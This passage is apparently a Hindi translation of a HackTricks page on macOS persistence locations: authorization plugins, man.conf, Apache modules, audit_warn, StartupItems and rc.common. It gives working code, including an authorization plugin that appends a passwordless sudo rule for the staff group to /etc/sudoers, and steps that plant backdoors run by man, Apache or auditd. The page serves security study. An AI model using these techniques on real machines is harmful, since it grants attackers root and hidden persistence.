देखें (और सावधान रहें, एक खराब लिखित प्लगइन आपको बाहर लॉक कर सकता है और आपको रिकवरी मोड से अपने मैक को साफ करने की आवश्यकता होगी)। ```objectivec // Compile the code and create a real bundle // gcc -bundle -framework Foundation main.m -o CustomAuth // mkdir -p CustomAuth.bundle/Contents/MacOS // mv CustomAuth CustomAuth.bundle/Contents/MacOS/ #import __attribute__((constructor)) static void run() { NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded"); system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); } ``` **बंडल को लोड किए जाने वाले स्थान पर ले जाएं:** ```bash cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/ ``` अंत में इस प्लगइन को लोड करने के लिए **नियम** जोड़ें: ```bash cat > /tmp/rule.plist < class evaluate-mechanisms mechanisms CustomAuth:login,privileged EOF security authorizationdb write com.asdf.asdf < /tmp/rule.plist ``` **`evaluate-mechanisms`** यह बताएगा कि प्राधिकरण ढांचे को **प्राधिकरण के लिए एक बाहरी तंत्र को कॉल करने की आवश्यकता होगी**। इसके अलावा, **`privileged`** इसे रूट द्वारा निष्पादित करेगा। इसे ट्रिगर करें: ```bash security authorize com.asdf.asdf ``` और फिर **staff समूह को sudo** एक्सेस होना चाहिए (पुष्टि के लिए `/etc/sudoers` पढ़ें)। ### Man.conf लेखन: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/) * सैंडबॉक्स बायपास करने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle) * लेकिन आपको रूट होना चाहिए और उपयोगकर्ता को man का उपयोग करना चाहिए * TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) #### स्थान * **`/private/etc/man.conf`** * रूट आवश्यक * **`/private/etc/man.conf`**: जब भी man का उपयोग किसी दस्तावेज़ को पढ़ने के लिए किया जाता है #### विवरण और एक्सप्लॉइट कॉन्फ़िग फ़ाइल **`/private/etc/man.conf`** उस बाइनरी/स्क्रिप्ट को इंगित करती है जिसका उपयोग man दस्तावेज़ीकरण फ़ाइलों को खोलते समय किया जाना है। इसलिए निष्पादन योग्य के पथ को संशोधित किया जा सकता है ताकि जब भी उपयोगकर्ता कुछ दस्तावेज़ पढ़ने के लिए man का उपयोग करता है, एक बैकडोर निष्पादित होता है। उदाहरण के लिए **`/private/etc/man.conf`** में सेट करें: ``` MANPAGER /tmp/view ``` और फिर `/tmp/view` को इस प्रकार बनाएं: ```bash #!/bin/zsh touch /tmp/manconf /usr/bin/less -s ``` ### Apache2 **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) * सैंडबॉक्स बायपास करने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle) * लेकिन आपको रूट होना चाहिए और अपाचे चल रहा होना चाहिए * TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) * Httpd में एंटाइटलमेंट्स नहीं हैं #### स्थान * **`/etc/apache2/httpd.conf`** * रूट की आवश्यकता है * ट्रिगर: जब Apache2 शुरू किया जाता है #### विवरण और एक्सप्लॉइट आप `/etc/apache2/httpd.conf` में एक मॉड्यूल लोड करने के लिए निम्नलिखित लाइन जोड़ सकते हैं: {% code overflow="wrap" %} ```bash LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` {% endcode %} इस तरह आपका संकलित मॉड्यूल Apache द्वारा लोड किया जाएगा। एकमात्र बात यह है कि आपको या तो इसे **एक मान्य Apple प्रमाणपत्र के साथ हस्ताक्षर करना होगा**, या आपको सिस्टम में **एक नया विश्वसनीय प्रमाणपत्र जोड़ना होगा** और इसे उसके साथ **हस्ताक्षर करना होगा**। फिर, अगर आवश्यक हो, सर्वर को सुनिश्चित करने के लिए शुरू किया जाएगा, आप निम्नलिखित कमांड निष्पादित कर सकते हैं: ```bash sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist ``` कोड उदाहरण Dylb के लिए: ```objectivec #include #include __attribute__((constructor)) static void myconstructor(int argc, const char **argv) { printf("[+] dylib constructor called from %s\n", argv[0]); syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); } ``` ### BSM ऑडिट फ्रेमवर्क लेखन: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/) * सैंडबॉक्स को बायपास करने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle) * लेकिन आपको रूट होना चाहिए, auditd चल रहा हो और चेतावनी का कारण बने * TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) #### स्थान * **`/etc/security/audit_warn`** * रूट आवश्यक * **ट्रिगर**: जब auditd एक चेतावनी का पता लगाता है #### विवरण और एक्सप्लॉइट जब भी auditd एक चेतावनी का पता लगाता है, स्क्रिप्ट **`/etc/security/audit_warn`** **निष्पादित** होती है। इसलिए आप इसमें अपना पेलोड जोड़ सकते हैं। ```bash echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn ``` `sudo audit -n` के साथ आप एक चेतावनी जारी कर सकते हैं। ### स्टार्टअप आइटम्स {% hint style="danger" %} **यह पुराना हो चुका है, इसलिए निम्नलिखित निर्देशिकाओं में कुछ भी नहीं मिलना चाहिए।** {% endhint %} **StartupItem** एक **निर्देशिका** है जिसे इन दो फोल्डरों में से एक में **रखा जाता** है। `/Library/StartupItems/` या `/System/Library/StartupItems/` इन दो स्थानों में से एक में नई निर्देशिका रखने के बाद, उस निर्देशिका के अंदर **दो और आइटम्स** रखने की आवश्यकता होती है। ये दो आइटम्स एक **rc स्क्रिप्ट** **और एक plist** होते हैं जिसमें कुछ सेटिंग्स होती हैं। इस plist का नाम “**StartupParameters.plist**” होना चाहिए। {% tabs %} {% tab title="StartupParameters.plist" %} ```xml Description This is a description of this service OrderPreference None Provides superservicename ``` {% endtab %} {% tab title="superservicename" %} ```bash #!/bin/sh . /etc/rc.common StartService(){ touch /tmp/superservicestarted } StopService(){ rm /tmp/superservicestarted } RestartService(){ echo "Restarting" } RunService "$1" ``` {% endtab %} {% endtabs %} ### ~~emond~~ {% hint style="danger" %} मैं इस घटक को अपने macOS में नहीं पा सकता, अधिक जानकारी के लिए लेख देखें {% endhint %} लेख: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) Apple ने **emond** नामक एक लॉगिंग तंत्र पेश किया। ऐसा प्रतीत होता है कि इसे पूरी तरह से विकसित नहीं किया गया था, और Apple ने अन्य तंत्रों के लिए इसका विकास **छोड़** दिया हो सकता है, लेकिन यह अभी भी **उपलब्ध** है। यह कम ज्ञात सेवा एक Mac प्रशासक के लिए शायद बहुत उपयोगी नहीं हो सकती है, लेकिन एक खतरा अभिनेता के लिए एक बहुत अच्छा कारण हो सकता है इसका उपयोग **एक स्थायित्व तंत्र के रूप में करना जिसे अधिकांश macOS प्रशासक शायद देखने की संभावना नहीं जानते** होंगे। emond के दुरुपयोग का पता लगाना मुश्किल नहीं होना चाहिए, क्योंकि सेवा के लिए सिस्टम LaunchDaemon केवल एक जगह पर स्क्रिप्ट्स चलाने की तलाश करता है: ```bash ls -l /private/var/db/emondClients ``` ### ~~XQuartz~~ लेखन: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/) #### स्थान * **`/opt/X11/etc/X11/xinit/privileged_startx.d`** * रूट की आवश्यकता है * **ट्रिगर**: XQuartz के साथ #### विवरण और एक्सप्लॉइट XQuartz **macOS में अब स्थापित नहीं किया गया है**, इसलिए अधिक जानकारी के लिए लेखन देखें। ### ~~kext~~ {% hint style="danger" %} kext को रूट के रूप में स्थापित करना इतना जटिल है कि मैं इसे सैंडबॉक्स से बचने या यहां तक कि दृढ़ता के लिए भी नहीं मानूंगा (जब तक कि आपके पास एक्सप्लॉइट न हो) {% endhint %} #### स्थान KEXT को स्टार्टअप आइटम के रूप में स्थापित करने के लिए, इसे **निम्नलिखित स्थानों में से एक में स्थापित किया जाना चाहिए**: * `/System/Library/Extensions` * OS X ऑपरेटिंग सिस्टम में निर्मित KEXT फाइलें। * `/Library/Extensions` * तृतीय-पक्ष सॉफ्टवेयर द्वारा स्थापित KEXT फाइलें आप वर्तमान में लोड किए गए kext फाइलों की सूची इसके साथ देख सकते हैं: ```bash kextstat #List loaded kext kextload /path/to/kext.kext #Load a new one based on path kextload -b com.apple.driver.ExampleBundle #Load a new one based on path kextunload /path/to/kext.kext kextunload -b com.apple.driver.ExampleBundle ``` अधिक जानकारी के लिए [**कर्नेल एक्सटेंशन्स की इस सेक्शन को देखें**](macos-security-and-privilege-escalation/mac-os-architecture#i-o-kit-drivers). ### ~~amstoold~~ लेख: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/) #### स्थान * **`/usr/local/bin/amstoold`** * रूट की आवश्यकता है #### विवरण और शोषण प्रतीत होता है कि `/System/Library/LaunchAgents/com.apple.amstoold.plist` से `plist` इस बाइनरी का उपयोग कर रही थी जबकि एक XPC सेवा को उजागर कर रही थी... बात यह है कि बाइनरी मौजूद नहीं थी, इसलिए आप वहां कुछ रख सकते थे और जब XPC सेवा को कॉल किया जाता है तो आपकी बाइनरी को कॉल किया जाएगा। मैं इसे अब मेरे macOS में नहीं पा सकता। ### ~~xsanctl~~ लेख: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/) #### स्थान * **`/Library/Preferences/Xsan/.xsanrc`** * रूट की आवश्यकता है * **ट्रिगर**: जब सेवा चलाई जाती है (दुर्लभ) #### विवरण और शोषण प्रतीत होता है कि इस स्क्रिप्ट को चलाना बहुत आम नहीं है और मैं इसे मेरे macOS में भी नहीं ढूंढ पाया, इसलिए अधिक जानकारी के लिए लेख देखें। ### ~~/etc/rc.common~~ {% hint style="danger" %} **यह आधुनिक MacOS संस्करणों में काम नहीं कर रहा है** {% endhint %} यहां **स्टार्टअप पर निष्पादित होने वाले कमांड्स भी रखे जा सकते हैं।** नियमित rc.common स्क्रिप्ट का उदाहरण: ```bash # # Common setup for startup scripts. # # Copyright 1998-2002 Apple Computer, Inc. # ###################### # Configure the shell # ###################### # # Be strict # #set -e set -u # # Set command search path # PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH # # Set the terminal mode # #if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then # TERM=$(tset - -Q); export TERM #fi ################### # Useful functions # ################### # # Determine if the network is up by looking for any non-loopback # internet network interfaces. # CheckForNetwork() { local test if [ -z "${NETWORKUP:=}" ]; then test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l) if [ "${test}" -gt 0 ]; then NETWORKUP="-YES-" else NETWORKUP="-NO-" fi fi } alias ConsoleMessage=echo # # Process management # GetPID () { local program="$1" local pidfile="${PIDFILE:=/var/run/${program}.pid}" local pid="" if [ -f "${pidfile}" ]; then pid=$(head -1 "${pidfile}") if ! kill -0 "${pid}" 2> /dev/null; then echo "Bad pid file $pidfile; deleting." pid="" rm -f "${pidfile}" fi fi if [ -n "${pid}" ]; then echo "${pid}" return 0 else return 1 fi } # # Generic action handler # RunService () { case $1 in start ) StartService ;; stop ) StopService ;; restart) RestartService ;; * ) echo "$0: unknown argument: $1";; esac } ``` ## पर्सिस्टेंस तकनीकें और उपकरण * [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift) * [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA)
AWS हैकिंग सीखें शुरुआत से लेकर एक्सपर्ट तक htARTE (HackTricks AWS Red Team Expert) के साथ! HackTricks का समर्थन करने के अन्य तरीके: * यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! * [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह * 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में या **Twitter** 🐦 पर **मुझे फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके.